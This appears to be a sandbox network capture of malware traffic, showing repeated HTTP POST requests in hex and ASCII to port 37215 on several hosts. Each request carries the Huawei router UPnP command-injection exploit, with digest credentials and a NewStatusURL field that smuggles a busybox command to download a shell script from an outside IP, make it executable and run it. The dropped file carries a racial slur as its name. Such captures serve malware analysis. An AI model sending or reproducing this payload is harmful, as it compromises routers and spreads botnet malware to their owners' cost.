77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:57.728636980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:59.520647049 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:03.296391964 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:10.464363098 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.15	60770	156.253.45.96	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:56.514446974 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:59.168698072 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:02.528573036 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:08.928229094 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:21.727886915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 